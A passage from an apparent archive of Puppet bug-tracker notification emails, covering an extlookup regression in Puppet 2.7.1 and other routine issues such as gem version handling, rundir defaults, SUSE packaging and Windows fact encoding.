notify { extlookup_precedence: ${extlookup_precedence}:; }
$msg = extlookup(hello)
notify { hello ${msg}:; }
notify { zone: ${zone}:; }
notify { location: ${location}:; }
}
For the purpose of this bugreport, I've got one variable defined in my CSV file
named 'hello' with the value of 'world'. Using puppet 2.7.1, this gives us the
following error:
root@puppetmaster002:~# puppet agent --test
info: Retrieving plugin
info: Loading facts in environment
info: Loading facts in interfaces
info: Loading facts in zone
info: Loading facts in puppet_var_path
info: Loading facts in acpi_available
info: Loading facts in mountpoints
info: Loading facts in location
info: Loading facts in environment
info: Loading facts in interfaces
info: Loading facts in zone
info: Loading facts in puppet_var_path
info: Loading facts in acpi_available
info: Loading facts in mountpoints
info: Loading facts in location
err: Could not retrieve catalog from remote server: Error 400 on SERVER: No
match found for 'hello' in any data file during extlookup()
at /etc/puppet/modules/shared/test/manifests/init.pp:9 on node
puppetmaster002.core.ams01.domain.tld
warning: Not using cache on failed catalog
err: Could not retrieve catalog; skipping run
Both this output and the puppetmaster logs do not give any hints as to whats
going on (see #7158), nor do debug/verbose mode give more info. Using strace
attached to the puppetmaster process, I found that the puppetmaster process is
trying to open the following CSV file:
root@puppetmaster002:~# grep stat\(.*csv /tmp/out
14959 stat(/.csv, 0x7fff144f5390) = -1 ENOENT (No such file or
directory)
This leads me to think that both extlookup_datadir and extlookup_preference are
not being parsed correctly under 2.7.1, or are being ignored completely. Using
puppet 2.6.8, we get the following output:
root@puppetmaster002:~# puppet agent --test
info: Retrieving plugin
info: Loading facts in environment
info: Loading facts in acpi_available
info: Loading facts in puppet_var_path
info: Loading facts in location
info: Loading
[Puppet - Bug #9854] extlookup_datadir and extlookup_precedence not being set in puppet 2.7.1
Issue #9854 has been updated by Gary Wilson (@earthgecko).
### some.debugging
Along with #10146 (variable interpolation change) this makes 2.7 unusable for
me. I mention this as reverting to the 2.6 extlookup.rb does not fix my
problems, it does solve the immediate issue but due to #10146 extlookup fails
further down the line.
Maybe this note will stop some spending hours debugging.
Bug #9854: extlookup_datadir and extlookup_precedence not being set in puppet
2.7.1
https://projects.puppetlabs.com/issues/9854#change-58980
Author: Lex van Roon
Status: Accepted
Priority: Urgent
Assignee:
Category: server
Target version: 2.7.x
Affected Puppet version: 2.7.1
Keywords:
Branch:
During tests on a puppet 2.7.1 setup, we've discovered that we could no longer
use extlookups. With 2.6, we use the following (cleaned up) manifest to perform
extlookups. Note that we use a custom fact to derive the zone + location
variables from the domain name, which are 'core' and 'ams01' in our situation.
We derive the datadir from the currently used module using an inline template.
class test {
$extlookup_datadir = inline_template(%=
Puppet::Node::Environment.current.module('${module_name}').path %/extdata)
$extlookup_precedence = [hosts/%{fqdn}, %{zone}-%{location},
%{location}, inline_template(%= if defined? @location then
location.gsub(/[^a-z\s]/, \\) end%), 'default']
notify { extlookup_datadir: ${extlookup_datadir}:; }
notify { extlookup_precedence: ${extlookup_precedence}:; }
$msg = extlookup(hello)
notify { hello ${msg}:; }
notify { zone: ${zone}:; }
notify { location: ${location}:; }
}
For the purpose of this bugreport, I've got one variable defined in my CSV file
named 'hello' with the value of 'world'. Using puppet 2.7.1, this gives us the
following error:
root@puppetmaster002:~# puppet agent --test
info: Retrieving plugin
info: Loading facts in environment
info: Loading facts in interfaces
info: Loading facts in zone
info: Loading facts in puppet_var_path
info: Loading facts in acpi_available
info: Loading facts in mountpoints
info: Loading facts in location
info: Loading facts in environment
info: Loading facts in interfaces
info: Loading facts in zone
info: Loading facts in puppet_var_path
info: Loading facts in acpi_available
info: Loading facts in mountpoints
info: Loading facts in location
err: Could not retrieve catalog from remote server: Error 400 on SERVER: No
match found for 'hello' in any data file during extlookup()
at /etc/puppet/modules/shared/test/manifests/init.pp:9 on node
puppetmaster002.core.ams01.domain.tld
warning: Not using cache on failed catalog
err: Could not retrieve catalog; skipping run
Both this output and the puppetmaster logs do not give any hints as to whats
going on (see #7158), nor do debug/verbose mode give more info. Using strace
attached to the puppetmaster process, I found that the puppetmaster process is
trying to open the following CSV file:
root@puppetmaster002:~# grep stat\(.*csv /tmp/out
14959 stat(/.csv, 0x7fff144f5390) = -1 ENOENT (No such file or
directory)
This leads me to think that both extlookup_datadir and extlookup_preference are
not being parsed correctly under 2.7.1, or are being ignored completely. Using
puppet 2.6.8, we get the following output:
root@puppetmaster002:~# puppet agent --test
info: Retrieving plugin
info: Loading facts in environment
info: Loading facts in acpi_available
info: Loading facts in puppet_var_path
info: Loading facts in location
info: Loading facts in mountpoints
info: Loading facts in zone
info: Loading facts in interfaces
info: Loading facts in environment
info: Loading facts in acpi_available
info: Loading facts in puppet_var_path
info: Loading facts in location
info: Loading facts in mountpoints
info: Loading facts in zone
info: Loading facts in interfaces
info: Caching catalog for puppetmaster002.core.ams01.sn.ecg
info: Applying configuration version '1317646685'
notice: hello world
notice: /Stage[main]/Test/Notify[hello world]/message: defined 'message' as
'hello world'
notice: extlookup_precedence:
hosts/%{fqdn}%{zone}-%{location}%{location}amsdefault
notice: /Stage[main]/Test/Notify[extlookup_precedence:
hosts/%{fqdn}%{zone}-%{location}%{location}amsdefault]/message: defined
'message'
as 'extlookup_precedence:
hosts/%{fqdn}%{zone}-%{location}%{location}amsdefault'
notice: location: ams01
notice: /Stage[main]/Test/Notify[location: ams01]/message: defined
'message' as 'location: ams01'
notice: extlookup_datadir: /etc/puppet/modules/shared/test/extdata
notice: /Stage[main]/Test/Notify[extlookup_datadir:
/etc/puppet/modules/shared/test/extdata]/message: defined
[Puppet - Feature #13509] Establish or solidify pattern for testing modules
Issue #13509 has been updated by Chris Price. Sweet... thanks for the background, Jeff. Do you have any thoughts on the best way to take the patterns that you are using for stdlib and leverage them for other modules? Feature #13509: Establish or solidify pattern for testing modules https://projects.puppetlabs.com/issues/13509#change-58981 Author: Chris Price Status: Accepted Priority: Normal Assignee: Category: Target version: Telly Affected Puppet version: Keywords: Branch: This probably isn't actually going to happen in the Telly time frame, but I wanted to make sure that this ticket doesn't slip through the cracks. We need a consistent plan / pattern for testing modules--both for internal use and for third-party module developers. There are lots of moving pieces here... Nick L. brought a few very salient points to our attention recently: 1. How do we decide what versions of puppet to run against? There are a lot of sub-questions here as well--how do we automate the tests against the desired matrix of puppet versions? Can we somehow record the compatibility results of the tests and add them to the metadata for the module automatically? If we decide on some framework for writing and running module tests, and it relies on API in puppet core that does not exist yet, then we're guaranteeing that modules will only be able to be tested against recent versions of puppet in each series (2.7.x, master, etc.). Is this a problem? 2. The modules will probably have some dependencies on *something* in puppet core--something like a puppet core spec api, e.g. to request setup/teardown of test state for things like puppet settings. How do we expose this somewhere where it is accessible to modules? We probably don't want to force devs to check out the actual puppet source if we can avoid it, but if they're developing against puppet from a distro (deb/rpm/etc) then it's likely that our current spec_helper and related libs will not be bundled with their distro. We may need to add something inside the main lib folder that provides this API so that we know it will get included in distros. (This issue came up #13439, and resulted in a hacky pull request: https://github.com/puppetlabs/puppet-grayskull/pull/94 . That one was subsequently replaced with the slightly improved: https://github.com/puppetlabs/puppet-grayskull/pull/96 , but we probably need a more general solution. As Nick pointed out, this gives us a general solution for dealing with Puppet::Util::Settings setup / teardown, but it does not deal with the rest of the stuff that is happening in spec_helper... and it would be better to have a single setup/teardown endpoint somewhere in the puppet code that could handle everything.) 3. Rubies? 4. CI integration? 5. Interface? Nick suggested maybe a face/action puppet module test, which would be awesome... Other considerations...? -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Feature #13539] (Unreviewed) puppetd output - file resources
Issue #13539 has been reported by Gary Wilson (@earthgecko). Feature #13539: puppetd output - file resources https://projects.puppetlabs.com/issues/13539 Author: Gary Wilson (@earthgecko) Status: Unreviewed Priority: Low Assignee: Category: agent Target version: Affected Puppet version: Keywords: ui, agent, trivial Branch: In 2.6.x the output from a change in a file resource was white. In 2.7 it is blue like the rest of the notice events. Can I suggest that the changes in file contents displayed by puppetd are changed back to white in Telly, it is much neater and denotes the difference in context from the notice context. From a UI point of view, the white display of changes in file contents was much better, IMHO. -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13536] (Accepted) Default rundir now /var/run/puppet and not home dir
Issue #13536 has been updated by Chris Price. Status changed from Unreviewed to Accepted Assignee set to Chris Price Thanks, that indeed sounds like a bug. Bug #13536: Default rundir now /var/run/puppet and not home dir https://projects.puppetlabs.com/issues/13536#change-58982 Author: Dominic Cleal Status: Accepted Priority: Normal Assignee: Chris Price Category: Target version: Telly Affected Puppet version: development Keywords: Branch: Since ticket #7749 was merged into master (commit e465c16), the default rundir value when running as an unprivileged user has changed to /var/run/puppet. It used to be $vardir/run. Now: $ git co e465c16 $ puppet apply --genconfig | grep -B 1 rundir = # Where Puppet PID files are kept. rundir = /var/run/puppet And before: $ git co e465c16~1 $ puppet agent --genconfig | grep -B 2 rundir = # Where Puppet PID files are kept. # The default value is '$vardir/run'. rundir = /home/dcleal/.puppet/var/run This causes errors as it tries to manage these directories while unprivileged: err: failed to set mode 755 on /var/run/puppet: Operation not permitted - /var/run/puppet err: /File[/var/run/puppet]/mode: change from 0755 to 1777 failed: failed to set mode 755 on /var/run/puppet: Operation not permitted - /var/run/puppet err: Got 2 failure(s) while initializing: failed to set mode 755 on /var/run/puppet: Operation not permitted - /var/run/puppet; change from 0755 to 1777 failed: failed to set mode 755 on /var/run/puppet: Operation not permitted - /var/run/puppet -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Facter] 'Wiki' wiki page has been updated
The 'Wiki' wiki page has been updated by Moses Mendoza. Wiki: https://projects.puppetlabs.com/projects/facter/wiki/Wiki View differences: https://projects.puppetlabs.com/projects/facter/wiki/Wiki/diff/32 -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13397] (In Topic Branch Pending Review) Puppet 2.7.12 not handling multiple versions of installed gems properly
Issue #13397 has been updated by Chris Price. Status changed from Investigating to In Topic Branch Pending Review Bug #13397: Puppet 2.7.12 not handling multiple versions of installed gems properly https://projects.puppetlabs.com/issues/13397#change-58983 Author: Wade Minter Status: In Topic Branch Pending Review Priority: Normal Assignee: Chris Price Category: Target version: 2.7.x Affected Puppet version: 2.7.12 Keywords: array, ruby, gems Branch: https://github.com/puppetlabs/puppet/pull/614 I just upgraded from Puppet 2.7.9 to 2.7.12, and am seeing something odd with regards to gem management. On our systems, we have multiple versions of gems installed: root@resque2:~# gem search -l libshadow *** LOCAL GEMS *** libshadow (1.0.0, 0.0.2) root@resque2:~# gem search -l god *** LOCAL GEMS *** god (0.12.1, 0.12.0, 0.11.0) However, when puppet runs, it appears to be concatenating the array of all of those versions together to build a string when comparing the installed versions to the desired target version: root@resque2:~# puppet agent --test info: Caching catalog for resque2.teamsnap.com info: Applying configuration version '1332685435' notice: /Stage[main]//Package[libshadow]/ensure: ensure changed '1.0.00.0.2' to '1.0.0' notice: /Stage[main]/Teamsnap_resque_worker::Package/Package[god]/ensure: ensure changed '0.12.10.12.00.11.0' to '0.12.1' notice: Finished catalog run in 12.35 seconds This seems to be incorrect behavior. -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13439] specs API incompatibility between 2.7.x and master
Issue #13439 has been updated by Chris Price. AFAIK, Jeff's merge to stdlib yesterday should have just about wrapped this up. I still need to merge 2.7.x to master and deal with the conflict that will pop up w/rt spec_helper. Bug #13439: specs API incompatibility between 2.7.x and master https://projects.puppetlabs.com/issues/13439#change-58984 Author: Chris Price Status: Accepted Priority: High Assignee: Chris Price Category: testing Target version: 2.7.x Affected Puppet version: Keywords: specs Branch: As a result of some of the changes relating to #7749, there is a spec incompatibility between puppet and external projects (at least: grayskull, puppetlabs-stdlib) that would prevent them from running successfully against both 2.7.x and master versions of puppet. It should be possible to make a few small changes that would allow the specs to be API-compatible between the two different branches... will require the following: 1. introduce test setup / teardown methods to Puppet::Settings in 2.7.x 2. modify spec helpers in stdlib/grayskull/puppet 2.7.x to call these setup / teardown methods accordingly, rather than manipulating the settings directly from the spec helpers 3. merge setup/teardown changes from 2.7.x to master -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Feature #13501] (Investigating) Better error message for err: Could not prefetch package provider 'freebsd': No resource and no name in property hash in freebsd instance
Issue #13501 has been updated by Chris Price. Status changed from Needs More Information to Investigating Assignee changed from Werner Bahlke to Chris Price Feature #13501: Better error message for err: Could not prefetch package provider 'freebsd': No resource and no name in property hash in freebsd instance https://projects.puppetlabs.com/issues/13501#change-58985 Author: Werner Bahlke Status: Investigating Priority: Normal Assignee: Chris Price Category: Target version: Affected Puppet version: Keywords: error message, freebsd provider, freebsd Branch: This error has to do with installing the mail/p5-Mail-SpamAssassin package and how the new package is constructed. When we tried another test and installed a random package (found in the ports tree) manually and ran the agent again, we had no problem completing successfully, even though an unknown package was installed. The SA rule package is not real in the sense that it comes from the ports tree and has an entry in the INDEX file that Puppet uses. The command that Puppet uses to enumerate packages is missing a piece of information (the port's origin), and that causes the error that we've seen. Any other package installed from the ports tree has an origin, and Puppet doesn't have a problem, even if it didn't install it. We also found that we can prevent the sa-update cron script from registering the package after it's installed. This will allow the SA rules to be updated periodically, but it will also avoid the Puppet error. At the very least, we'd love to see a better error message from Puppet, perhaps including the package name causing the failure. That would have tipped us off sooner. -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Feature #13444] Puppet on Windows should know it's installed
Issue #13444 has been updated by Josh Cooper. This will be resolved once we have proper package support (querying the registry to determine what's actually installed) Feature #13444: Puppet on Windows should know it's installed https://projects.puppetlabs.com/issues/13444#change-58986 Author: James Turnbull Status: Needs Decision Priority: Normal Assignee: Josh Cooper Category: windows Target version: Affected Puppet version: 2.7.12 Keywords: Branch: Currently puppet resource package doesn't know Puppet is installed unless Puppet installed itself. A lot of people manage Puppet with Puppet and it'd be helpful if Puppet knew it was installed and what version it was so that it could be upgraded/updated with Puppet itself. Otherwise known as turtles all the way down. -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13439] specs API incompatibility between 2.7.x and master
Issue #13439 has been updated by Chris Price. merged 2.7.x-master, resolved the spec helper conflict... so this should be all finished for now. Bug #13439: specs API incompatibility between 2.7.x and master https://projects.puppetlabs.com/issues/13439#change-58990 Author: Chris Price Status: Accepted Priority: High Assignee: Chris Price Category: testing Target version: 2.7.x Affected Puppet version: Keywords: specs Branch: As a result of some of the changes relating to #7749, there is a spec incompatibility between puppet and external projects (at least: grayskull, puppetlabs-stdlib) that would prevent them from running successfully against both 2.7.x and master versions of puppet. It should be possible to make a few small changes that would allow the specs to be API-compatible between the two different branches... will require the following: 1. introduce test setup / teardown methods to Puppet::Settings in 2.7.x 2. modify spec helpers in stdlib/grayskull/puppet 2.7.x to call these setup / teardown methods accordingly, rather than manipulating the settings directly from the spec helpers 3. merge setup/teardown changes from 2.7.x to master -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13439] (In Topic Branch Pending Review) specs API incompatibility between 2.7.x and master
Issue #13439 has been updated by Chris Price. Status changed from Accepted to In Topic Branch Pending Review Bug #13439: specs API incompatibility between 2.7.x and master https://projects.puppetlabs.com/issues/13439#change-58991 Author: Chris Price Status: In Topic Branch Pending Review Priority: High Assignee: Chris Price Category: testing Target version: 2.7.x Affected Puppet version: Keywords: specs Branch: As a result of some of the changes relating to #7749, there is a spec incompatibility between puppet and external projects (at least: grayskull, puppetlabs-stdlib) that would prevent them from running successfully against both 2.7.x and master versions of puppet. It should be possible to make a few small changes that would allow the specs to be API-compatible between the two different branches... will require the following: 1. introduce test setup / teardown methods to Puppet::Settings in 2.7.x 2. modify spec helpers in stdlib/grayskull/puppet 2.7.x to call these setup / teardown methods accordingly, rather than manipulating the settings directly from the spec helpers 3. merge setup/teardown changes from 2.7.x to master -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13439] (Ready for Documentation) specs API incompatibility between 2.7.x and master
Issue #13439 has been updated by Chris Price. Status changed from In Topic Branch Pending Review to Ready for Documentation Bug #13439: specs API incompatibility between 2.7.x and master https://projects.puppetlabs.com/issues/13439#change-58992 Author: Chris Price Status: Ready for Documentation Priority: High Assignee: Chris Price Category: testing Target version: 2.7.x Affected Puppet version: Keywords: specs Branch: As a result of some of the changes relating to #7749, there is a spec incompatibility between puppet and external projects (at least: grayskull, puppetlabs-stdlib) that would prevent them from running successfully against both 2.7.x and master versions of puppet. It should be possible to make a few small changes that would allow the specs to be API-compatible between the two different branches... will require the following: 1. introduce test setup / teardown methods to Puppet::Settings in 2.7.x 2. modify spec helpers in stdlib/grayskull/puppet 2.7.x to call these setup / teardown methods accordingly, rather than manipulating the settings directly from the spec helpers 3. merge setup/teardown changes from 2.7.x to master -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13439] (In Topic Branch Pending Review) specs API incompatibility between 2.7.x and master
Issue #13439 has been updated by Chris Price. Status changed from Ready for Documentation to In Topic Branch Pending Review Branch set to https://github.com/puppetlabs/puppet/pull/603 Bug #13439: specs API incompatibility between 2.7.x and master https://projects.puppetlabs.com/issues/13439#change-58994 Author: Chris Price Status: In Topic Branch Pending Review Priority: High Assignee: Chris Price Category: testing Target version: 2.7.x Affected Puppet version: Keywords: specs Branch: https://github.com/puppetlabs/puppet/pull/603 As a result of some of the changes relating to #7749, there is a spec incompatibility between puppet and external projects (at least: grayskull, puppetlabs-stdlib) that would prevent them from running successfully against both 2.7.x and master versions of puppet. It should be possible to make a few small changes that would allow the specs to be API-compatible between the two different branches... will require the following: 1. introduce test setup / teardown methods to Puppet::Settings in 2.7.x 2. modify spec helpers in stdlib/grayskull/puppet 2.7.x to call these setup / teardown methods accordingly, rather than manipulating the settings directly from the spec helpers 3. merge setup/teardown changes from 2.7.x to master -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13542] (Accepted) PMT cannot install tarballs for modules that don't exist on the Forge
Issue #13542 has been reported by Pieter van de Bruggen. Bug #13542: PMT cannot install tarballs for modules that don't exist on the Forge https://projects.puppetlabs.com/issues/13542 Author: Pieter van de Bruggen Status: Accepted Priority: Normal Assignee: Category: Target version: Affected Puppet version: Keywords: Branch: At present, unless you specify the `--ignore-dependencies` flag, the module tool behaves as follows when told to install a tarball: * Verify that the name ends in `.tar.gz` * Copy the tarball into the staging area * Decompose the filename into author, module short name, and version components * Ask the Forge for the dependency information for that author/module/version combination * Download tarballs for each of the dependencies * Unpack the tarballs as usual If you try to install a tarball that doesn't exist on the Forge, the tool fails. If you try to install a tarball that doesn't match the naming convention `authorname-modname-version.tar.gz`, the tool fails. If your tarball contains dependency information of its own, the tool ignores it. -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13242] (Closed) windows install
Issue #13242 has been updated by Josh Cooper. Subject changed from windowns install to windows install Status changed from Needs More Information to Closed Hi Zhang, I haven't heard back from you about this, so I'm going to assume the issue has been resolved. If you are still seeing the error and can provide more details, please re-open. Bug #13242: windows install https://projects.puppetlabs.com/issues/13242#change-58996 Author: zhang dexiang Status: Closed Priority: Normal Assignee: zhang dexiang Category: windows Target version: Affected Puppet version: Keywords: Branch: sys-admin gem is http://rubyforge.org/frs/?group_id=610release_id=37525 download no sys-admin downloaded form http://rubygems.org/downloads/sys-admin-1.5.6.gem -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Feature #13532] (Needs Decision) Update to conf/suse
Issue #13532 has been updated by Chris Price.
Status changed from Unreviewed to Needs Decision
Assignee set to Matthaus Litteken
Haus, this sounds like it might be of interest to you?
Feature #13532: Update to conf/suse
https://projects.puppetlabs.com/issues/13532#change-58997
Author: Ben Kevan
Status: Needs Decision
Priority: Normal
Assignee: Matthaus Litteken
Category:
Target version:
Affected Puppet version:
Keywords:
Branch:
There's a few changes that needs to be done upstream to help better support
SUSE packaging.
Here's a list of things that needs to be done:
Copy conf/redhat/puppet.conf to conf/suse/ (attached)
Copy conf/redhat/{client,server}.sysconfig to conf/suse with the changes in
files puppetmaster-2.7.12-sysconfig.diff puppet-2.7.12-sysconfig.diff
respectively. (attached - both patches and .sysconfig files)
Apply patches puppet-2.7.12-init.diff puppetmaster-2.7.12-init.diff to update
init files, and make them more suse like (attached)
Apply patch puppet-2.7.12-spec.diff (attached)
Add puppet.changes (attached)
I currently have these installed on 50+ SLES 11SP1, and SLES 11 SP2 boxes,
along with a few openSUSE. They are in OBS and has been branched and used by
other users in the community.
Once these patches are upstream, and the spec file is then later modified to
reflect this, then the only net difference will be updates for distribution
specific requirements(i.e., puppet module zypprepo).
ruby-shadow is currently marked as required, but that was a personal
requirement, so it can be easily removed as it's not a requirement for puppet
to function.
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13533] (Needs More Information) Puppet UTF-8 and windows-1250 encoding (puppet facts)
Issue #13533 has been updated by Josh Cooper. Status changed from Unreviewed to Needs More Information Assignee set to Jan Ziegler Hi Jan, I didn't understand what you meant by Puppet doesn’t like this line because of the “ä” In what way does puppet fail? Can you include output showing what the failure is? Is it the same issue as #12702 or something different? Bug #13533: Puppet UTF-8 and windows-1250 encoding (puppet facts) https://projects.puppetlabs.com/issues/13533#change-58998 Author: Jan Ziegler Status: Needs More Information Priority: Normal Assignee: Jan Ziegler Category: Target version: Affected Puppet version: Keywords: Branch: Hi, When using German Windows on a puppet client there is a facter line: Mitteleuropäische Zeit Puppet doesn't like this line because of the ä. Changing the ä to an a manually for example works. I'm using Foreman in connection with puppet (foreman and puppetmaster on same machine) and as a result of this problem foreman won't display any facts about the windows client. Working with Linux Clients works perfectly. -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13439] (Merged - Pending Release) specs API incompatibility between 2.7.x and master
Issue #13439 has been updated by Chris Price. Status changed from In Topic Branch Pending Review to Merged - Pending Release Bug #13439: specs API incompatibility between 2.7.x and master https://projects.puppetlabs.com/issues/13439#change-59000 Author: Chris Price Status: Merged - Pending Release Priority: High Assignee: Chris Price Category: testing Target version: 2.7.x Affected Puppet version: Keywords: specs Branch: https://github.com/puppetlabs/puppet/pull/603 As a result of some of the changes relating to #7749, there is a spec incompatibility between puppet and external projects (at least: grayskull, puppetlabs-stdlib) that would prevent them from running successfully against both 2.7.x and master versions of puppet. It should be possible to make a few small changes that would allow the specs to be API-compatible between the two different branches... will require the following: 1. introduce test setup / teardown methods to Puppet::Settings in 2.7.x 2. modify spec helpers in stdlib/grayskull/puppet 2.7.x to call these setup / teardown methods accordingly, rather than manipulating the settings directly from the spec helpers 3. merge setup/teardown changes from 2.7.x to master -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13439] (Closed) specs API incompatibility between 2.7.x and master
Issue #13439 has been updated by Chris Price. Status changed from Merged - Pending Release to Closed Bug #13439: specs API incompatibility between 2.7.x and master https://projects.puppetlabs.com/issues/13439#change-59001 Author: Chris Price Status: Closed Priority: High Assignee: Chris Price Category: testing Target version: 2.7.x Affected Puppet version: Keywords: specs Branch: https://github.com/puppetlabs/puppet/pull/603 As a result of some of the changes relating to #7749, there is a spec incompatibility between puppet and external projects (at least: grayskull, puppetlabs-stdlib) that would prevent them from running successfully against both 2.7.x and master versions of puppet. It should be possible to make a few small changes that would allow the specs to be API-compatible between the two different branches... will require the following: 1. introduce test setup / teardown methods to Puppet::Settings in 2.7.x 2. modify spec helpers in stdlib/grayskull/puppet 2.7.x to call these setup / teardown methods accordingly, rather than manipulating the settings directly from the spec helpers 3. merge setup/teardown changes from 2.7.x to master -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Feature #13547] (Unreviewed) Mac OS X group provider should allow the specification of the group's GUID
Issue #13547 has been reported by bruce lysik. Feature #13547: Mac OS X group provider should allow the specification of the group's GUID https://projects.puppetlabs.com/issues/13547 Author: bruce lysik Status: Unreviewed Priority: Normal Assignee: Category: group Target version: Affected Puppet version: Keywords: osx Branch: Groups in Mac OS X have a GUID. The group provider should allow for specifying a GUID. -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
